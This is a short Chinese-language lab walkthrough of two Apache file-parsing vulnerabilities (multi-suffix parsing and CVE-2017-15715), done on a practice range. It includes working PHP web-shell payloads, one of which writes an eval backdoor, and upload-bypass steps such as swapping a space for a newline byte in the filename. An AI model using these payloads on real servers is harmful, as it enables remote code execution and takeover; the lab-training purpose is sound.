一.apache_parsing
原理:Apache HTTPD ⽀持⼀个⽂件拥有多个后缀,并为不同后缀执⾏不同的指令。在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析,就再往左判断。如 1.php.xxxxx
打开靶场

创建一个名为1.php.jpg的文件,内容输入
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
上传。。。
他会生成一个内容是<?php eval($_POST["cmd"]);?>名为shell.php的文件

我们拼接网址访问

测试是否上传成功

二.CVE-2017-15715
原理:Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器的安全策略。
影响版本:2.4.0~2.4.29
进入靶场

创建一个内容为<?php @eval($_POST['a']); ?>名为1.jpg的文件
上传,抓包

在evil.php⽂件后⾯添加空格

在到HEX中找到evil.php的那一行,把20改成0a

放行,访问evil.php%0a

写入成功!!!